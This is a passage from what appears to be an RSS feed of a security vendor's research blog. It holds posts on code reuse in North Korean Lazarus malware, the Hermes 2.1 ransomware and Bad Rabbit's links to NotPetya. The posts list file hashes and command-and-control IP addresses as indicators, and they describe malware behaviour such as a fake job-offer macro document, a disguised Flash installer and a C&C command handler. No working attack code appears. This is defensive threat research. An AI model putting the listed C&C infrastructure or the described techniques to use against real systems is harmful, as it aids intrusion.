&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c"target="_blank" rel="noopener"&gt;https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Dark Hotel code reuse report.
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=examining-code-reuse-reveals-undiscovered-links-among-north-koreas-malware-families&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4"target="_blank" rel="noopener"&gt;https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kang Jang-ho, “A foreign currency earned with a virtual currency … What is
the life of a North Korean hacker?”
&lt;a href="http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple"target="_blank" rel="noopener"&gt;http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Awesome work by the team responsible for the “Operation Blockbuster”
&lt;a href="https://www.operationblockbuster.com/resources/"target="_blank" rel="noopener"&gt;report&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Yet Another Distraction? A New Version of North Korean Ransomware Hermes Has Emerged</title><link>https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/</link><pubDate>Thu, 08 Feb 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/</guid><description>
&lt;h2&gt;Detecting Reused Ransomware&lt;span class="hx:absolute hx:-mt-20" id="detecting-reused-ransomware"&gt;&lt;/span&gt;
&lt;a href="#detecting-reused-ransomware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Whether we’re dealing with a criminal threat actor looking to steal money from
their victims using ransomware or malware sponsored by a nation state, we can
consistently see the reuse of code. In this specific case, we have observed a
variant of a well-known ransomware, via a new version of Hermes from what may
have originated from a nation state threat actor.&lt;/p&gt;
&lt;p&gt;According to reports by researchers at
&lt;a href="https://securingtomorrow.mcafee.com/mcafee-labs/taiwan-bank-heist-role-pseudo-ransomware/"target="_blank" rel="noopener"&gt;McAfee&lt;/a&gt;
and
&lt;a href="http://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html"target="_blank" rel="noopener"&gt;BAE Systems&lt;/a&gt;,
a ransomware named Hermes was used as a diversion in an attack involving a bank
heist in Taiwan. The ransomware is thought to have originated from the Lazarus
group, a threat actor known to be affiliated with North Korea.
(&lt;a href="../../../2017/12/blockbusted-lazarus-blockbuster-north-korea/"&gt;You can be read about them in this blog post about the Blockbuster campaign.&lt;/a&gt;).
Security researcher
&lt;a href="https://twitter.com/demonslay335/status/960590594707017729"target="_blank" rel="noopener"&gt;@demonslay335&lt;/a&gt;
tweeted about the existence of a new sample Hermes 2.1, so our team decided to
take a deeper look.&lt;/p&gt;
&lt;h2&gt;Code Reuse Analysis of Hermes 2.1&lt;span class="hx:absolute hx:-mt-20" id="code-reuse-analysis-of-hermes-21"&gt;&lt;/span&gt;
&lt;a href="#code-reuse-analysis-of-hermes-21" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When examining new binaries, the first step we take in our research is to take
the binary and upload it to our Intezer Analyze™ system in order to identify
code reuse.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/images/fig1.jpg" title="Code Reuse Analysis of Hermes" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code Reuse Analysis of Hermes&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Here we can see some code reuse between the Hermes samples that were originally
discovered as well as the latest sample. Since the sample came out mostly
unique — indicating that much of the binary has changed — we were still able to
catch some key parts that clearly reuse code.&lt;/p&gt;
&lt;p&gt;Intezer Analyze™ caught these fragments, and with a deeper look into IDA Pro,
we find an exact function-for-function match:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/02/another-distraction-new-version-north-korean-ransomware-hermes/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In other places, although the code is not exactly the same, we can see very
similar code to the original Hermes and techniques known to be used by Lazarus.&lt;/p&gt;
&lt;h2&gt;An Evolving Threat&lt;span class="hx:absolute hx:-mt-20" id="an-evolving-threat"&gt;&lt;/span&gt;
&lt;a href="#an-evolving-threat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The last time this ransomware appeared there was a bank heist affiliated with
it, and now it is possible that this new sample was used in an attack where the
infected target was unaware of the intended result. It may have been used to
cover up intellectual property theft, bank fraud, or something even more
nefarious. At this moment in time, there is not enough information to make
definitive conclusions about the specific intent of the Lazarus group; however,
with the reappearance of Hermes, we can be confident that this likely won’t be
the last time this code will be used in an attack.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;bcb96251c3e747c0deabadfecc4e0ca4f56ca30f8985cae807ca2ff29099d818 New Sample
851032eb03bc8ee05c381f7614a0cbf13b9a13293dfe5e4d4b7cd230970105e3 Related Sample&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>BLOCKBUSTED: Lazarus, Blockbuster, and North Korea</title><link>https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/</link><pubDate>Tue, 12 Dec 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/</guid><description>
&lt;p&gt;As we have proven in previous research blog posts, malware authors often reuse
the same code. This evolution of code and code reuse is seen all throughout the
well known Blockbuster campaign and connections between other malware
attributed to the Lazarus group, a cyber threat organization attributed to
North Korea. You can read about excellent research on Lazarus and the
Blockbuster campaign by looking at reports by
&lt;a href="https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"target="_blank" rel="noopener"&gt;Novetta&lt;/a&gt;,
&lt;a href="https://securelist.com/operation-blockbuster-revealed/73914/"target="_blank" rel="noopener"&gt;Kaspersky&lt;/a&gt;, and
&lt;a href="https://researchcenter.paloaltonetworks.com/2017/11/unit42-operation-blockbuster-goes-mobile/"target="_blank" rel="noopener"&gt;Palo Alto&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Lazarus group has been responsible for different campaigns and variations
of RATs, Trojans, backdoors, and malware in general. Some of the names given to
malware created by Lazarus are FALLCHILL, Destover, Hangman, Volgmer, and
Manuscrypt, among others. For someone who has not personally analyzed these
different malware families, a lot of the samples associated with each malware
could appear to be completely different, but if you examine them at the code
level, you can see that these attacks are most likely different components of
the same framework that has been pieced together or upgraded.&lt;/p&gt;
&lt;h2&gt;Intezer Analyze™ Code Reuse&lt;span class="hx:absolute hx:-mt-20" id="intezer-analyze-code-reuse"&gt;&lt;/span&gt;
&lt;a href="#intezer-analyze-code-reuse" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After uploading the different samples to Intezer Analyze™, the system shows
that there are code overlaps between a number of samples dating from 2014 to
2017. These are malware from different periods of time and binaries attributed
to different attacks.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig1.png" title="https://analyze.intezer.com/#/analyses/7b059705-9d55-4fd9-a70b-9b4401aeecae" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;https://analyze.intezer.com/#/analyses/7b059705-9d55-4fd9-a70b-9b4401aeecae&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig2.png" title="https://analyze.intezer.com/#/analyses/d204da0f-a2a1-4f0e-9033-fe1e3b2105cc" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;https://analyze.intezer.com/#/analyses/d204da0f-a2a1-4f0e-9033-fe1e3b2105cc&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The analyzed samples were uncovered after uploading them to our Analyze system, generating YARA signatures from some of the unique code found in Lazarus group samples, and searching these signatures across a few malware databases. (Note: we found more samples than are being used for this report.)&lt;/p&gt;
&lt;h2&gt;C&amp;amp;Cs &amp;amp; Command Handler&lt;span class="hx:absolute hx:-mt-20" id="ccs--command-handler"&gt;&lt;/span&gt;
&lt;a href="#ccs--command-handler" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Throughout the years the Lazarus group has been active, not only have there been overlaps in the C&amp;amp;C infrastructure, the components of the C&amp;amp;C command handler have had pretty much the same functionality and code. Below is a comparison of two binaries from the Lazarus group, with shared code between the handler and functions included in the handler.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig3.png" title="C&amp;amp;C Command Handler 1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;C&amp;amp;C Command Handler 1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig4.png" title="C&amp;amp;C Command Handler 2de5e99315a6cf42a46c8286ac4ea0bc842f6d78995833d2cab7de1cdad7dd8d" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;C&amp;amp;C Command Handler 2de5e99315a6cf42a46c8286ac4ea0bc842f6d78995833d2cab7de1cdad7dd8d&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The only visible differences are the control codes to execute certain functions; if you dive deeper, the functions themselves do not vary much. The first screenshot is of a binary with C&amp;amp;C commands 21687 to 21707 with a compilation date from February 5, 2014, and the second screenshot with C&amp;amp;C commands 32768 to 32835 is dated with the compilation date October 12, 2017. Not much has changed in three years. Interestingly enough, however, in reviewing more Blockbuster samples, the control code ranges appear to vary with the compilation date. Samples in the same range of compilation dates have the same control code sets. Also, we see the control codes remain the same regardless of whether the sample was compiled as an EXE or DLL.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig5.png" title="A few of the collected samples, compilation date, C&amp;amp;C commands, and type being EXE or DLL" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A few of the collected samples, compilation date, C&amp;amp;C commands, and type being EXE or DLL&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Infection Vectors &amp;amp; Targets&lt;span class="hx:absolute hx:-mt-20" id="infection-vectors--targets"&gt;&lt;/span&gt;
&lt;a href="#infection-vectors--targets" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Lazarus group has targeted a variety of victims — from individuals to corporations — and used multiple platforms like traditional PCs and more recently, Android devices. The group does not seem to engage in specific targeting as they look to be targeting everyone and anyone they can infect using different infection vectors over the years. Their C&amp;amp;Cs seem to consist of hijacked domains and servers.&lt;/p&gt;
&lt;p&gt;Most recently, it looks like they have tried to spearfish users by sending them an infected document. The latest samples we have incorporate a malicious visual basic macro embedded in a document with a fake job position.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig6.png" title="Malicious fake job position document" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Malicious fake job position document&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig7.png" title="Embedded macro" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Embedded macro&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;During our research, we found a C&amp;amp;C located in China that is linked to a domain posted on the comment section of the threat intel news website, Israel Defense. These spam links are not just posted on Israel Defense, but all over the internet.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig8.png" title="http://www.israeldefense.co.il/he/comment/112488 with link to lzruziniu[.]com" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;http://www.israeldefense.co.il/he/comment/112488 with link to lzruziniu[.]com&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It appears that during the time of this post, the C&amp;amp;C (114.215.107.218) was also hosting another binary from Lazarus. It also seems to be an automated spam comment, as there are multiple others on the same page. The links seem specific enough as if they were supposed to get someone browsing the web to click the link, which would lead to a download for infection. They may also have been using some type of web browser exploits. It is hard to tell at this point because the comments are from a couple years ago.&lt;/p&gt;
&lt;h2&gt;Control Flow &amp;amp; Legacy Code&lt;span class="hx:absolute hx:-mt-20" id="control-flow--legacy-code"&gt;&lt;/span&gt;
&lt;a href="#control-flow--legacy-code" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After reverse engineering one of the binaries from the Lazarus group, the rest become easily recognizable by a quick glance in IDA. From the entry point (or the ServiceMain export if the binary is a DLL), the binary begins by resolving all its imports, including those unused, by calling GetProcAddress and manually storing them in pointers.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig9.png" title="2014 DLL vs 2017 EXE" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;2014 DLL vs 2017 EXE&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The string obfuscation code has changed throughout the binaries according to the time they were compiled as well. This is one of the updates the group did make to the code, but the most significant evidence here is that from the oldest binary to the newest, they use the GetProcAddress function with “GetProcAddress” as the parameter. This was obviously a coding error that has remained in all the binaries analyzed.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/12/blockbusted-lazarus-blockbuster-north-korea/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next part of the execution flow of the binary varies, but consists mainly of the same code with different options used. There may be features like registering persistence, checking for sandboxes or virtual machines, and more. All of these options seem to be interchangeably used, and a binary could be created as simply as filling out a few textboxes and checkboxes for all the different features, establishing the binary with a “generate RAT” button.&lt;/p&gt;
&lt;p&gt;After the various components of optional code are executed, the malware creates a thread to bind and ‘listen’ to a specified port, waiting for a command from the C&amp;amp;C as discussed in the previous section of this post.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Evidently, the Lazarus group is still active. Because the compilation dates seem to be an accurate measure of a timeline, that puts the latest sample at two months ago from the date of this report. Consistent code reuse throughout the samples shows that well-funded nation states are reusing code time and time again. As stated in the beginning, if you examine them at the code level, you can see that these attacks are most likely different components of the same framework that has been pieced together or upgraded.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;a4a2e47161bbf5f6c1d5b1b3fba26a19dbfcdcf4eb575b56bde05c674089ae95
ee3ecf100fc2042cfadeb0509ae4f49647daa1afcee2bd3098912247e155a1e7
16eaa0298c66e0de40cc42568879fab9513f4d533c0fa1f5366346b4d70df50d
dbae68e4cab678f2678da7c48d579868e35100f3596bf3fa792ee000c952c0ed
9f177a6fb4ea5af876ef8a0bf954e37544917d9aaba04680a29303f24ca5c72c
80b5cc9feb10fac41ee2958ab0f751bf807126e34dcb5435d2869ef1cf7abc41
8edb59694ff239c90f33cdbb17bc67ebbd08ec77df5000c6616d7844040796b4
db1f4abd2a8d3b17c14e8f31cb1da3a273cf51ed194ad0e4520346ed95708dad
7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd
4e8c10a7fa51a3ab089b284e86a7daaca779ed82ba1750607fc3bfa91681f9b1
e79bbb45421320be05211a94ed507430cc9f6cf80d607d61a317af255733fcf2
4481e31d42499d084317b79a3a6250e50302aa00603dacdd2dff3a8e3b911404
9607ab45451bb6c52eeec8cf0669d1dd37c917baecef2d63564c7cec110932c0
a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6
0b4959764331ddbe7da71e6f8515d0be8f494b4107c2718bda9e0a85d8247488
9fa326adbd71e58aeb7ea404b6b8d6be5742c547c525286b2e95444ab099ef9e
8ba791b9611d5d6dfd40e08e43ad851675faea24c2f5bc4f541e475871999ad3
2de5e99315a6cf42a46c8286ac4ea0bc842f6d78995833d2cab7de1cdad7dd8d
4a84452752cf8e493ae820871096044edd9f6453366842927148e7d8e218dc87
76e0eec565f4e50b57d74fb1a09ea9e356da0709cba3d5dab9b3702ba19d662c
f09fb9a79bab6a927297e536594027016da7d7ab13e124c76a05889ec107ad02
6dcd635875625426298a1d7b4ab346ee318b3afa2e6440677ab935e473bf782d
959eb014a2d8ca8158d1f6a198205d331e0ebfb3ced5fd9004b8dcab4547987f
3d481d166f27b48f103db39fda3845dfc962addd44e92e3187e0ddd1ee01c741
1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82
de13155f4a4cb1af04539883545151905ad4496ea6ef34cb22e50831f7caa38a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;41.131.29.59
176.35.250.93
64.86.34.24
58.6.21.11
114.215.107.218
118.140.97.6
190.216.219.247
201.26.209.137
14.161.14.196
220.132.191.110
92.42.54.184
182.180.143.39
193.251.27.90&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>NotPetya Returns as Bad Rabbit</title><link>https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/</link><pubDate>Wed, 25 Oct 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/</guid><description>
&lt;p&gt;Large scale cyber attacks seem to be happening once a month these days.
Originally discovered by
&lt;a href="https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/"target="_blank" rel="noopener"&gt;ESET&lt;/a&gt;,
Ukrainian and Russian organizations have been hit with the latest ransomware
attack named Bad Rabbit. At the time of writing this post, the ransomware has
believed to have originated from compromised webpages with a fake popup for
updating Adobe Flash Player. It has been reported that much of the behavior of
Bad Rabbit has been similar to a previous ransomware known as NotPetya.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig1.png" title="Screenshot from ESET report, after ransomware has infected a computer" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screenshot from ESET report, after ransomware has infected a computer&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Using Intezer Analyze™, we have found code reuse from NotPetya throughout
different binaries of Bad Rabbit.&lt;/p&gt;
&lt;p&gt;The Bad Rabbit loader, with the original name (install_flash_player.exe) and
metadata (Adobe Systems Incorporated as the company and Adobe Flash Player
Installer/Uninstaller), was made to look like the Adobe Flash Player installer.
You can see in the screenshot below that according to our analysis, the binary
did not contain any code from any Adobe product but does contain code from
NotPetya. In fact, we find that 27% of the code in the loader has been seen in
only NotPetya samples. Find the public report
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=notpetya-returns-bad-rabbit&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/6ba279af-8ce2-46c6-8b86-5fa65a5ed42a"target="_blank" rel="noopener"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Below is a direct comparison of function (&lt;code&gt;0x1000C244&lt;/code&gt;) of NotPetya
(&lt;code&gt;027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745&lt;/code&gt;) and
function (&lt;code&gt;0x4033B4&lt;/code&gt;) of the Bad Rabbit loader
(&lt;code&gt;630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Another example of code reuse in the loader from a function that seems to
initialize some type of struct.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#BadRabbit (#NotPetya v2) unpacked DLL: infpub.dat : &lt;a href="https://t.co/Ey5Yffsn74"target="_blank" rel="noopener"&gt;https://t.co/Ey5Yffsn74&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— hasherezade (@hasherezade)
&lt;a href="https://x.com/hasherezade/status/922867095997681664?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;October 24, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The final module that gets loaded and is responsible for encrypting the files
on disk (&lt;code&gt;579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/code&gt;)
also has a code connection with NotPetya samples. According to our technology,
we can see that 13% of the code has been reused. You can find the public report
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=notpetya-returns-bad-rabbit&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/analyses/d41e8a98-a106-4b4f-9b7c-fd9e2c80ca7d"target="_blank" rel="noopener"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;#badrabbit found to have 13% code reuse of #notpetya #petya here&amp;rsquo;s a public
report with the unpacked sample: &lt;a href="https://t.co/NOIul4yLVT"target="_blank" rel="noopener"&gt;https://t.co/NOIul4yLVT&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— Jay Rosenberg (@jaytezer)
&lt;a href="https://x.com/jaytezer/status/922875751174758400?ref_src=twsrc%5Etfw"target="_blank" rel="noopener"&gt;October 24, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Below is a screenshot comparing a function (&lt;code&gt;0x1000777B&lt;/code&gt;) of NotPetya (&lt;code&gt;027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745&lt;/code&gt;) and a function (&lt;code&gt;0x1000733&lt;/code&gt;C) of the encryptor module of Bad Rabbit (&lt;code&gt;579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The next screenshot is of another matching function between the two samples.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/10/notpetya-returns-bad-rabbit/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As you can see in this attack, and in many other cases, malware authors constantly reuse their code. By recognizing code reuse, you force malware authors to rewrite code and come up with new techniques to avoid detection. This changes the playing field and makes it far less cost effective for malware authors and cyber crime organizations.&lt;/p&gt;
&lt;p&gt;IOCs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/code&gt;&lt;/li&gt;
